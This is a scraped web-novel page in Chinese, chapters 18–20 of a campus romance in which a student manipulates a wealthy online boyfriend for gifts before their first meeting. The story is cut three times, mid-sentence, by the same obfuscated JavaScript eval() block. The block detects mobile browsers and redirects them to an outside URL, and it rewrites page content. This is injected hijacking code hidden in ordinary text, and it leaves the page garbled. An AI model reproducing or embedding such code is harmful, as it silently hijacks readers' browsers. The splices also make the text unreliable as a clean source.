;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287819|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好趁着这会儿空,朝隔了好两个座位的阮义挥了挥手,等人走近了,他笑眯眯地说:“今天谢谢你啊,阮义。” 阮义低垂头,有些不好意思地挪了挪鼻梁上的眼镜,轻声说:“没,没事,我正好,顺便分配了。 “下次请你喝奶茶!” 习阳在看到舒星又朝人家露了个漂亮的笑容后,实在是有点忍不住了,他腮边的肌肉绷紧了些,嘴角微动,语气略微不善地开口:“舒星,你今天上课迟到了17分钟。你作为组长,让整个寝室的组员足足等了你17分钟,最后还是靠其他组长替你分发任务。”列举完舒星的“罪状”,习阳下巴微扬,眼眸眯了一下,沉下声道:“对此,你没有任何想解释的吗?” “哈?”舒星歪了歪头。 整个寝室的组员?何文楠和程新宇不是和自己差不多时间来的嘛。 哦,合着他说的“整个组员”,应该就是指他自己一个人吧? 虽然说迟到确实是自己的不对,但也没有造成太大的影响,似乎没必要这么上纲上线吧? 习阳这人把炸-药当早饭吃了吧,这么大戾气! 舒星本来就和习阳不对付,再加上习阳语气不善,舒星心里那股子叛逆劲“噌”一下就蹿上来了。 “哎,我迟到确实有错,但是习阳我说你别太……” 舒星还想怼一下习阳呢,旁边的阮义赶紧拍了拍他,说:“没事,没事,不要吵架。我和舒星都是组长,谁发任务都是一样的。” 有阮义做中间的和事佬,习阳有些不悦地“嗯”了声,别过脸不再看这两人。 舒星突然感觉自己和习阳可能是天生八字不合,不然为什么会在他俩关系好不容易缓和之后又冒出新的矛盾来。 舒星气鼓鼓地皱了下鼻子,余光扫到了习阳桌子上放着的跑车钥匙,红底黄标的车钥匙配上刺眼的跃马图案,舒星这才发现这人的装货属性一直存在。 摆桌上炫耀啥呀,跟谁不知道你有辆跑车似的。 接下去一上午的讨论课舒星为了给习阳“穿小鞋”,在最终规划和分配任务上硬塞给习阳不少活,为了看习阳怎么在小组作业上吃瘪,舒星秉承着“谋士以身入局”的理念,还故意宣布自己要跟习阳一组,试图用这种硬性组队的方式狠狠恶心习阳一把。 到时候等习阳吃瘪了,完不成小组任务,自然有向自己低头求合作的一天! 下了课,程新宇和何文楠要回寝室补觉,就没拉着舒星去食堂吃饭了。 正巧之前定购手表的那家专柜销售给舒星发来了信息,说他预定的那款手表现在到货了。 说起来这手表到货得真有够慢的,要不是销售给他发了提货信息,舒星都快忘记自己买过这么一块表了! 回想起买这块表之前,习阳还曾暗指过自己是个贪慕虚荣的人。 想到这个事舒星对习阳就更讨厌了,简直恨不得买双踩小人袜子,上面绣上习阳的名字,好让自己天天踩。 下午没有课,程新宇和何文楠要睡觉,舒星也不方便回寝室玩,就跟专柜的销售预约了下午去店里取表。 专柜销售见到舒星又是好一番热情接待,趁着其他销售帮忙装手表的空档,接待的柜哥还不忘向舒星推荐几款这个季度新上的款式。 出了专柜,舒星昨晚没睡好,这会儿闲下来也开始犯困了,恨不得马上回去沾床就睡。 困意懒倦,舒星自然没注意到不远处有人在向他挥手打招呼。 宋天一刚逛完潮牌店出来,就看到舒星从远处走过,只不过可能隔了有些距离,舒星并没有看到自己在向他打招呼。 宋天一看到舒星手里提着奢牌手表的袋子,有些好奇地歪了歪头。 咦? 舒星家又走上正轨啦? 18.第 18 章 第18章 舒星下午回去的时候补了个觉,等再醒来时窗外已经是夜幕。 简单地点了个外卖洗过澡,舒星没什么事儿干,躺在床上玩平板。 那个九万三买来的手表就被他放在床头柜上,壁灯照下来时表盘确实亮得晃眼,只是舒星好像没一开始那么喜欢了。 还没戴过就转卖掉的话有点可惜,舒星最近也没那么缺钱,就拿它当个装饰物,想着以后要是有什么重要场合可以拿它来撑场面。 余晖的电话是很晚才打过来的,舒星原本看时间都以为今晚不会再有语音连麦了,没想到不出几分钟就接到了通话请求。 从暑假开始舒星和余晖的连麦次数增多,夹嗓子的事儿干起来也是信手拈来了,舒星轻咳了声,嗓子一压就接起语音,对着手机甜甜地叫了声“宝宝”。 舒星听到余晖那挺安静的,没有寝室吵闹的氛围,便问:“你这么晚才回家吗?” 余晖说:“嗯,晚上朋友约我吃饭。你认识的,公会里的天意。” “哦。”舒星是知道天意和余晖是现实好友,不过他从没加过天意微信,这下聊到了,不免有些好奇:“天意这个人在游戏上还挺有意思的,真不知道现实中是个什么样的人。” 余晖道:“和游戏上差不多,以后可以带你认识一下。” 舒星心里一咯噔,离他和余晖约定见面的日子越来越近了。 该用什么样的理由拖延好呢? 当天又是两周年纪念日,不找个大点的理由很难说得过去。 说自己出车祸了?摔跤断腿了?生病住院了? 唉,好像更容易刺激他来见自己。 要不说工作需要外派出差?话说宠物医院有出差这一说法吗? 余晖在电话那头叫了几声“宝宝”,这才把舒星从头脑风暴里拉回现实。 余晖说:“宝宝,我今天好像对我室友说重话了。” 嗯?那对情缘CP吗? 舒星问:“为什么?” 余晖顿了下,概念模糊地说:“因为一点小事,我在很多人面前说了让他不爽的话,导致我们差点吵起来。” 舒星轻轻“啊”了声,“那后来呢?”舒星感觉余晖脾气一直挺好的,不像是会跟其他人起冲突的样子,如果有,那一定也是对方的问题。 余晖说:“有其他人把吵架的源头都揽过去了,就没再继续说了。其实这件事一开始我挺不爽的,所以说话比较难听,后来想了想,确实是我在太多人面前说他,让他有点下不来台了,我看他似乎挺生气的。” 舒星听完也不知道说什么,他不清楚前因后果,不好随意开口评判这事儿,只能安慰道:“既然是一时的冲突,对方应该也不会太往心里去吧?毕竟都是室友,低头不见抬头见的,估计隔两天就好啦!” 余晖沉默了会儿,似是想解释,但犹豫了半天只说:“应该吧。不过他后来还主动要求和我一起完成学习作业,那样子看上去挺积极兴奋的。” 舒星道:“那人家肯定没放在心上,不然怎么会高兴得起来?” 余晖想了想:“嗯,也是。” 余晖又说:“宝宝,你今天上班有发生什么有意思的事吗?你似乎很久没跟我分享过你上班遇到的事了。” “啊,我吗……”舒星最近都没去宠物医院做兼职了,哪还能分享什么趣事,他想了想,只好拿白天习阳怼自己迟到的事来吐槽。 “宝宝,我今天早上不小心睡过头,上班迟到了,还被那个讨厌的同事逮到了把柄!” 舒星在余晖面前以“讨厌的同事”为代称抱怨过习阳好多次了,所以余晖很快就沉下声严肃道:“他是不是又说你了?” 想到习阳今早那副趾高气扬的嘴脸,舒星小嘴一瘪,开始巴巴地吐槽起来:“是啊!我才迟到了一小会儿,也没几分钟,可他在那一直咄咄逼人,我都气死了!” 舒星跟余晖抱怨的时候多少是带了点夸张程度在里面的:“宝宝,他那个语气还阴阳怪气的,我们老板都没说什么呢,他倒好,管这管那的,还说大家要是都像我这样上班,店都开不起来。” 余晖说:“他这么说你?这么难听?” 舒星还不够解气,继续道:“对啊对啊,当时还有好多其他同事在呢!宝宝,虽然我早上醒得晚了一点点,但是我已经很努力在赶地铁了呀!可是地铁又不只属于我一个人,又不能一站直达宠物医院。而且啊,明明是地铁开得慢,他怎么能怪我迟到呢?是不是呀宝宝!” 见余晖没及时回答,舒星以为自己编得太过了,他娇嗔地叫了声:“余晖余晖!你说是不是这个道理啦!” “嗯,是的。” 余晖听上去在忙别的事,舒星有些不满这人在自己说话的时候开小差,便说:“余晖,你在敷衍我,你又要问我今天发生了什么事,又不认真听我说话,我要生气了!” “不是的宝宝。”余晖好脾气地哄着舒星道:“我一直在认真听你说话,宝宝,你不是说地铁不是属于你一个人的嘛,我想着地铁我没想法送你个专属的,但是别的可以。” 余晖迅速发来了个定位地址,说道:“宝宝,专属于你的车我给你买好了,你不是有驾照吗,以后就开车去上班,也不用再挤地铁了,让那个讨人厌的同事再也抓不到你迟到!” “你说什么?!”听到余晖说他给自己买好了车,舒星拿起手机眨着眼,惊讶地咋舌。 在确认自己没听错话,舒星嘴角早就翘起来了,那抹雀跃兴奋的笑容混杂着一丝难以置信的错愕,挂在他脸上迟迟不消。 余晖听到了舒星有些疑惑惊诧的语气,还有些不好意思起来:“因为这款车要提前预订排期,我其实在很早之前就定好了,原本是想着等你过生日了再当成惊喜送你,可是我又不想看你因为挤地铁迟到被讨厌的人抓住把柄,就想现在立刻送给你了。哦对了,宝宝,提车日期提前的话只能去店里提了,没法包装完送到你家里,要委屈宝宝去4S店走一趟了!” “我靠……”舒星难得在余晖面前骂了脏话,他知道余晖是个舍得给自己爆金币的人,但他没想到余晖居然还舍得给自己买车! 这可是车啊!车!!! 可不是随随便便几千几万转账就能有的车!!!! 普通上班族打工人要辛辛苦苦干好久才舍得买的车,余晖这财大气粗的家伙居然说送自己就送自己了! 他俩这才在一起两年不到啊!就已经到了送车的地步了吗!那要是在一起三年四年呢?岂不是要买房送自己了? 只是在网络上聊聊天谈谈感情居然就能捞钱捞车,我靠!!!这哪是捡到宝,简直是捡到摇钱树、财神爷了啊!! “余,余晖。”舒星有些喜悦结巴地确认道:“你确定,是买了辆车,送给我?还是提前预订?真的假的?” 余晖极其肯定地说:“当然是真的,宝宝,我怎么会骗你。只不过购买的时候我想给你个惊喜,就以我的名义下的单,等我们过几天见面了,我和你一起去办手续,把车转到你名下,你看怎么样宝宝?” 怎么样? 能怎么样? 舒星嘴都快翘天上去了,还能怎么样! “可以啊,可以啊!”舒星乐得在床上滚了一圈,平板都不知道被他丢哪儿了,他捧着手机不知道怎么表达谢意,只好一个劲地对着手机屏幕猛亲。 “宝宝,你对我好好啊!” “宝宝,我好爱你呀,好爱好爱你!” “余晖,你是世界上对我最好的人了!我爱死你了,我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292212|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟你好一辈子!” “啊啊啊啊啊,宝宝,你也太好了吧!” “宝宝,我现在恨不得掏心掏肺地表示我对你的爱,好喜欢好爱你呀!” “余晖,余晖,你真好啊!” 舒星在床上翻着滚,腿都不由自主地晃在空中,甜蜜的情话一套紧接一套地说着,都快把余晖撩拨着火了。 余晖嗓音沉沉的,像是在按捺:“那你……有什么想表示的吗?” “我我我……”舒星激动兴奋得说不出话来,只好说一句“好爱你”。 说完他又觉得不够,嗓音甜甜地补上一句:“我好想把我的全部都给你啊,余晖!” 余晖轻轻笑了下,语气暧昧地说:“好啊,那等你见面了记得给我,你的全部。” 嗯? 沉浸在大喜悦中的舒星终于意识到了哪里不对劲。 余晖这是摆明了要等见面后撅自己啊! 舒星原本还在想怎么推迟这次的奔现见面呢,但是想到余晖刚才说见面后要一起去把车改到自己名下…… 要是都这样儿了,舒星再找理由找借口这时候说推迟见面,余晖恐怕不会接受吧? 想必不仅不会接受,还可能会很生气。 唉! 短期的摇钱树和长期的摇钱树,舒星还是能清楚分清的。 但要是考虑到会被撅屁股…… 舒星陷入沉思,他试图找理由说服自己。 “余晖,买这车你花了多少钱?贵不贵啊?” “不贵。”余晖轻描淡写道:“一百万不到。” 不贵……一百万………不到…… 舒星紧闭双眼,不敢相信自己听到了什么富哥发言。 为了这八十万的车,和一个长期的摇钱树,舒星心一横,只能牺牲一下自己的屁股了。 见面就见面吧,想撅屁股就撅吧,反正车都被自己捞着了,总要给人家点甜头。 舒星怕自己这种捞男想法暴露,又热情甜蜜地讲了好多句情话,直到最后撩拨得余晖彻底按捺不住心里的□□,两个人大晚上还磕了一次炮。 舒星挑了天休息日去余晖发来的地址提的车,在见到是辆银色的新能源轿跑时,舒星眼都亮了。 酷炫的车型配上漂亮的内饰,有汽车品牌的加持,瞬间让舒星这个准车主有了种步入高端生活的感觉。 大学生,豪华轿跑车主,这两个词怎么想也很难让人联系到一起。 舒星近乎是脑袋昏昏地听完了交付人员的介绍和注意事项,等坐进驾驶位,抚摸上方向盘时,那种不真切的感觉才彻底消除。 到了这种时候,是绝对少不了拍照片的。 舒星在交付人员的贴心服务下猛拍了几十张和车子的合照,期间还有销售人员送来了一大捧鲜花,舒星留意了一下鲜花上的卡片留言,是余晖让人写的“提前祝宝宝生日快乐!” 美滋滋拍完照发完社交动态,舒星一路上小心翼翼地把车开回了公寓,在进公寓的时候绑定住户还耗了不少时间。 余晖给舒星租的房子是有车位的,一看就是余晖早就考虑好的,舒星把车停到车位上,又坐在车里发了好几句“好爱你”的信息给余晖。 等发完信息,舒星切回大号,正好瞄到了被他一直屏蔽的高中班级群。 里面有人在讨论过几天班主任的生日安排,餐厅预订的位置已经发布在群公告里了。 舒星看着群里热火朝天的信息,他想到现在自己先前不想去是因为没东西拿得出手,但是这会儿不一样了啊,他有车了,高中同学家里再有钱,能有几个是家里已经给买好车的,还不是开得父母同款。 群里有人发起了生日会当天参加人员的接龙,舒星勾了勾唇,把自己的名字也打了上去。 19.第 19 章 第19章 可能是日有所思,舒星难得做了场春梦。 春梦的对象是余晖,对方顶着一张模糊的脸和宽肩窄腰的身材,在梦里把舒星翻来覆去撅了又撅。 这个梦特别真实,以至于臀部深处的收缩感都还在继续,内裤前后都湿了一大片。 明明心里抗拒着和余晖奔现的事,身体却已经按捺不住想要经历一番摩擦,舒星在意识到自己原来是个这么色-情的小处男时顿时涨红了脸 今天是高中班级群里计划要给班主任过生日的日子,很多人今天都有课,聚餐时间就定在了晚上。 舒星今天并没有开余晖送的车去学校。 学校里开车进园区要申报车牌,这辆轿跑还没上牌照不能审批,舒星就想着等两个人奔现了,车的产权挪到自己名下之后再开去学校大肆炫耀一下。 到那时候,他一定得像习阳那样,从最远的南校门进,兜一大圈之后回到男寝楼下,然后再靠在车旁边假装打两个超长电话。 今天的专业课不用分组,舒星总算不用和习阳面对面坐了,经过上次的迟到风波,舒星最近看到习阳那张脸就烦。 大概是舒星对习阳表露得不爽太明显,程新宇和何文楠这天难得没有强行拉着舒星一起吃午饭。 下午没有课,舒星早早地回了公寓。 想到晚上要去参加同学聚会,舒星把衣柜里最贵的衣服都搭配上了,还顺便把床头柜上摆着的手表一并戴好。 舒星虽然长得很好看,但他不是特别会打扮自己,一张漂亮的脸全靠着白皮肤和精致的五官撑着。 他怕今天不够展露出自己全部的魅力,还特意找了家形象设计中心,花了大价钱给自己做了个发型化了个合适的男妆。 做造型的时候化妆老师一直夸舒星长得好看,不知道是不是收了舒星太多钱,那个老师从眼睛眉毛开始夸,最后就连他的甲床都要夸一句长得好饱满,漫天惊赞夸得令舒星有点不知所措。 化完妆,舒星看着镜子里的自己,他的头发被打理得更蓬松了些,甚至还稍微侧分了一下。 眼睛上的妆感并不重,他的卧蚕一直很饱满,再配上那双灵动明亮的淡色眼眸,整个人的眼神无辜又清纯。 舒星照着镜子,镜旁一圈的白光把他的肌肤照得更透亮了,就是化妆师不知道怎么想的,给他涂的口红色号很粉,舒星不喜欢唇上这种黏腻的感觉,要了张湿巾对着镜子擦拭口红残余。 化妆师在一旁满意地欣赏自己的杰作,开口闭口都只有重复的三个字——“真好看”。夸奖完,他还不忘掏出手机,有礼貌地问句能不能加个微信,希望下次能请舒星来做妆造模特。 舒星在形象中心磨蹭半天,最后特意选了个人最多的点到达餐厅地址。 也不知道是谁选的餐厅,停车点居然不在餐厅大门附近,这让舒星怎么炫耀自己的车! 门口的泊车员见舒星停在门道上,殷切地跑过来询问是否需要泊车服务,舒星在车上磨叽了会儿,在看到后视镜里有熟悉的面孔出现后他才微笑着下车,挺直脊背有些矜贵地点了下头,把钥匙轻轻放在泊车员手中,语气慢悠悠地说:“泊完车请帮我把钥匙送过来,我在S01包厢。” 说完,舒星察觉泊车员微愣的神情,便笑着解释道:“我有强迫症,车钥匙不在身边我会不舒服,那么,麻烦你啦。” 泊车员看到舒星如沐春风般的笑容,哪还顾得上麻烦不麻烦,只知道赶紧收回短暂痴迷的目光,点头答应:“好的,好的,不麻烦,您请进。” 舒星点了点头,不过他没急着走,假装自己的东西落在了车里,找了几秒后身后果然响起了熟悉的声音。 “我去,这不是年前刚发布的新能源轿跑?真帅啊!”那人走近了,先是好奇地打量了翻舒星的车,等发现驾驶位上的舒星,他有些尖酸地说:“哟,这不是小舒嘛!” 舒星听到声音退出驾驶位,泊车员在他身后帮忙把车门关上。 舒星有风度地打了个招呼:“郝剑剑,好久不见啊。” 这人是以前班上出了名的墙头草,谁家有钱就跟谁玩儿,之前班上有个家里开连锁酒店的转校生,他就跟人家屁股后面当了一年多的狗腿子。 郝剑剑读书时一向看不起舒星这个家里破产的小穷逼,他噘着嘴视线上下扫着舒星的打扮,在锁定了舒星一身名牌服装和腕间亮闪的手表后,他有些不确定地问:“这车你开来的?上哪儿租的?” “需要租吗?”舒星朝那人歪头笑了笑,没做过多的解释,只轻飘飘说句:“当然是买的啊。” “我靠!”郝剑剑看舒星的眼神一下子亮了不少,他紧跟在舒星身后进酒店,打探道:“你爸给你买的车吗?” 舒星想着,余晖给他爆了那么多金币,金主爸爸多少也带个爸字,就回道:“是啊。” “这车落地多少钱啊?” 舒星学着余晖的语气说:“不贵,一百万不到。” “我靠!”郝剑剑看舒星走进电梯,也跟着挤进去,套近乎般说:“你大学应该在住校用车少吧?你看什么时候有空,借我也开几天呗?” 电梯门开了,舒星睨他一眼,没回话,跟着迎宾员的指引往包厢走。 郝剑剑第一次跟舒星套近乎就碰了壁,他感觉自己面子上挂不住,呲了下牙,有些不屑地对着舒星的背影骂道:“操,神气啥呀!” 舒星进包厢的时候已经有很多人都到了,包厢分为左右两个隔间,左边的隔间差不多快坐满了,舒星看到座位上有个人在向他招手,示意他坐过去。 在看清那人是宋天一之后,舒星假装没看到般淡定地挪开了视线,径直坐进了右边的隔间。 他今天只是单纯来装一下,可不想跟宋天一靠太近。 舒星不清楚习阳有没有跟宋天一聊过自己在大学里的生活情况,他知道宋天一这人一向嘴巴不牢,还是少接触比较好,免得今晚的装逼风头翻了车。 等人基本上齐了,依照舒星计划的那样,泊车员在众目之下到舒星身边归还了车钥匙。 一百万不到的车在个别同学眼中可能不是什么高端货,但至少能让一半同学羡慕自己了,再加上平时有社交平台的动态加持,舒星这个“家里东山再起的富二代”身份一直没倒过。 以前也有不少人私下怀疑过舒星社交平台上发的可能都是偷来的图片,但今天看到他手腕上和之前动态里一模一样的手表之后,那些人看舒星的眼神也不再是鄙夷和蔑视了。 但也有不相信的,比如刚才热脸贴冷屁股的郝剑剑,他落座之后想了好久也想不通这舒星家里怎么就这么快富起来了,吃饭间他时不时往右侧的隔间里望望舒星,看着他那张艳压旁人的脸,郝剑剑最终得出个结论——这人肯定是被包养了! 由于中央的隔间门不知道被谁拉上了,左侧没坐班主任,几个人平时就爱背后唠人的开始叽叽喳喳聊起来。 “我刚才上来就看到楼下有辆新能源轿跑,还是最近发布的那款,没想到居然是舒星的车。” “不是说预购完了都要近一年排期嘛,这家伙这么快开上了?” “好羡慕啊,大学期间就有车开了,不像我,我家里人都抠抠搜搜的,非说等我毕业了再给买!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296183|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我记得那车落地要不少钱吧?我以为大家的第一辆车顶多是个四五十万的BBA,他家什么时候这么有钱了,舍得给他买这个?” 郝剑剑一看有人开团舒星,紧跟着说:“肯定不是他家里人买的啊,你看他那样儿,哪有男生长那么嫩还打扮那么漂亮的,这人一看就是个gay,而且啊gay圈玩得最花了,上了年纪的有钱人也多,指不定……” 宋天一和舒星关系不错,再加上得知了自己的发小就是舒星室友,他此刻很听不得别人在背后聊舒星的坏话。 “所以你是gay?”宋天一放下筷子,眼神压迫性极强地紧盯着郝剑剑。 郝剑剑被宋天一的目光瞪得一愣,心虚道:“我说舒星是gay,跟我有什么关系。” 宋天一问:“跟你没关系你怎么会知道gay圈玩得花?” “我我我我……” 宋天一嗤笑道:“啊,懂了,造谣的。” “不是,你帮舒星说什么话啊……” 宋天一佯装吃惊:“我哪句话提到舒星了吗?” 郝剑剑:“我靠宋天一你……” 有人看气氛不对劲,赶紧出来打圆场:“哎呀好了好了,今天难得聚一次,而且还是班主任生日,人家就在隔壁坐着呢,你们就别聊这种有的没的了,咱们喝酒的来干一杯吧!” 男生们基本上都喝酒,郝剑剑来之前受了舒星的冷落,饭桌上又被宋天一怼了,这会儿不爽得要命,偏偏宋天一就连喝酒的时候都要眯着眼睛冷瞪自己,害得他有火不能发,只能借着喝酒赔罪的名义多灌宋天一几杯白的。 等宋天一喝得差不多了,旁边的位置不知道什么时候换了个人,那人戳了戳宋天一的胳膊,拿出手机递到了他眼前。 “不是我挑事啊,也不是我故意说人家坏话,我是觉得剑剑也没说错什么,你看舒星平时在社交平台发的动态。” “这个餐厅,这个手表,你看还有这些游戏套装……这个游戏我也玩过的,他这个套装的颜色光是成品就要卖十几万了,更别说他是自己花钱洗的了。” “当然我也不是赞成剑剑这么在背后说人家啊,我知道你和舒星关系一直不错,不过你那么单纯,还是别把人家想太好了……” 宋天一喝多了,眼神有些迷迷糊糊的,他紧紧眯了下眼,努力看清屏幕上的游戏套装数值。 01,99,999,9。 好极品的数值,是他从没洗出来过的颜色。 而且还是01编号。 这个编号…… 身边的人还在叭叭叭讲个不停,宋天一根本听不进去人家讲了什么,只顾着放大屏幕上的游戏截图。 宋天一记得,习阳以前给他网恋对象买过这个款式的套装,而且特意高价收购的01编号,就连衣服套装的洗练过程他也亲眼旁观。 再往下翻,一连好几天极品套装展示截图,点开其中一张时甚至还留意到了套装主人的游戏id。 虽然只有一个“书”字,但不用想也知道,id全称是“行书”。 舒星就是行书? 这缘分,真的假的啊…… 宋天一不清楚自己是不是今晚白酒喝多了,他只觉得心脏怦怦直跳,胸口猛烈地跳动仿佛要冲破他胸膛的禁锢。 直觉告诉他习阳一定还不知道这个事,宋天一顾不上昏昏沉沉的脑袋,直接拿出手机来给习阳发了信息。 宋天一:【我告诉你一件宇宙无敌超级大事!!!!!!】 宋天一:【定位】 宋天一:【速来接我!当面细说!!!!】 20.第 20 章【奔现】 第20章 舒星临走前发现了隔壁桌倒在桌上已经醉得不省人事的宋天一。 “天一?” “宋天一,醒醒!” 舒星轻轻推了推宋天一的肩膀,发现这人毫无反应,俨然一副睡着了的样子。 周围的人都散得差不多了,还剩下的那些人都喝了酒自顾不暇,舒星实在不放心把宋天一交给他们。 舒星对宋天一的交际圈不了解,两个人之间唯一的共友就是他最讨厌的习阳。 舒星看着宋天一昏睡的样子,无奈地扶额纠结了会儿,最终还是给程新宇发了信息,要到了习阳的电话号码。 只不过舒星刚把人高马大的宋天一扶下楼,还没来得及给习阳打电话,台阶下一个男生三两步走上来,扶住了摇摇欲坠的宋天一。 习阳在看到舒星抬眸看自己时,被他今天的这身打扮短暂惊艳了一下,随即很快沉眸从他身上接过了宋天一。 “我来吧,他挺重的。” 舒星看到习阳突然出现还有点懵懵的,脑海里一下子就上演了一部发小情深的故事,联想到习阳已经有了网恋对象,这部故事刚脑补没几个画面就被他打消了。 舒星看到宋天一被习阳像扔包一样丢进了副驾驶,有些忧心这人回去路上会不会吐。 他往车里多看了几眼,又把目光投回习阳身上,语气不善地说:“正好你来了,省得我多打个电话。” 舒星连一毛钱通话费都不想在习阳这人身上浪费了。 习阳像是仔细地盯着舒星的脸看了会儿,语气不咸不淡地问:“你怎么回去?” 舒星顺口道:“我开车回去。” 习阳一愣:“你买车了?” 舒星顿时一结巴,想了想,又觉得自己的车虽然比不上习阳那些限量款,但怎么说也要个一百万吧,于是又理直气壮起来:“是啊,新能源呢。” 新能源的车品近几年发展很快,车型也多,习阳没在意舒星开的什么车,便只嘱咐:“那你路上注意安全。” “哦!” 习阳上了车,扫眼副驾位,看那人东倒西歪的样儿,就知道今天准是没法从这人口中听到什么宇宙无敌超级大事了。 - 舒星和余晖约好奔现的那天正好是周六,但是每周六寝室里都会不定期举行聚餐,这会儿程新宇正在和何文楠激情商量着晚上去哪里吃饭呢,舒星在一旁听着,犹豫自己该从什么聊天空档插进去解释自己今晚没法跟他们一起吃饭。 “今天吃火锅吧?烤肉上次吃过了,而且那家店口味有点一般。” “韩料也可以,日料也不错,或者西餐怎么样?” “星妹,你想吃什么?” “那个……”话题落到舒星身上,他慢慢靠在身后的椅背,试图和程新宇拉开一点距离,“其实我晚上有点事,所以……” 程新宇和何文楠看着他的目光从原本的满含期待瞬间变成了一潭死水。 “你也有事?习哥也说有事!今晚你俩都不想跟我们一起吃饭?”程新宇很不满地抱怨:“要不是你俩前几天吵架了,我都怀疑你们是不是背着我们去吃大餐!” 何文楠听完猛肘击了下程新宇,用眼神示意他别哪壶不开提哪壶。 舒星听说习阳今晚也有事,不免有些好奇他用的什么理由:“他有什么事儿?” 何文楠说:“习哥说有约会,和他的网恋对象。” 这家伙怎么把自己的理由说走了。 不过这么巧?习阳今天也赶着在今天奔现吗?还是说他和那网恋对象已经见过面了,今天只是简单的情侣约会? 程新宇看舒星那张脸上沉思着,他戳穿道:“你别说你也要和网恋对象约会!” 舒星很自然地承认:“是啊。” 程新宇才不信呢:“你拉倒吧,你哪儿来的网恋对象,不想跟我们一起吃饭就直说!” “我今天真有事!”舒星见程新宇不肯松口,只好说:“要不这样吧,随便你们今天吃什么,我请客,下周五我再请大家一起吃一顿,补回来,好不好?” 两双眼睛瞬间又明亮起来,死水被盘活了,水波漾漾,正泛着波光:“真的?” 舒星无奈点头:“真的啊!” 比起去见自己的摇钱树,舒星今天晚上破费点请程新宇他们吃一顿也没什么,大不了以后再从余晖身上捞回来,反正今晚自己都要被撅了,肯定事后得多捞几笔。 下午没有课,舒星一直在寝室里待到傍晚才走,期间习阳没回来过,听何文楠说似乎刚到中午人就出去赴约了。 不过奔现都能干点什么啊,早知道舒星也跟余晖约在中午了,这样至少两个人还能一起看个电影,给他点儿缓冲时间。 他俩今天直接约在晚上吃晚饭,这饭吃完了岂不是只能直奔酒店直入撅 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余晖似乎比他更激动,临近两人见面的时间,他发了无数条信息过来。 余晖:【宝宝,路上有堵车吗?你还有多久到呀?】 余晖:【宝宝我好想你呀,好想立刻马上就见到你,想你想你想你!】 余晖:【宝宝,餐厅我已经包场啦!今天不会有任何人来打扰我们的第一次见面!!】 余晖:【马上就要见到我的宝宝了,好激动好激动,想你想你想你,快点来好吗?】 余晖:【宝宝,餐厅位置已经发你了哦,好想你呀,我可以在门口接你吗?】 舒星可不想余晖在餐厅门口就等着自己,不然还怎么在门口做心理建设。 舒星回了句:【不用接我啦,你在餐厅里等我就好了。】 舒星到餐厅门口的时候已经有服务员等候着了,他的心跳从没像现在这样剧烈跳动过,那种心动的爱欲充斥着他的全身,原本还有些抗拒奔现的想法在此刻全然变成了好奇和紧张。 “您好,是行书先生吗?” “嗯,我是。”舒星微微颤抖的声音在一股忽来的晚风中化开。 “习先生已经在里面等候了,您请随我来。” “哦,好。”舒星跟着服务员走出几步,随后猛地刹住脚步,“什么?谁?”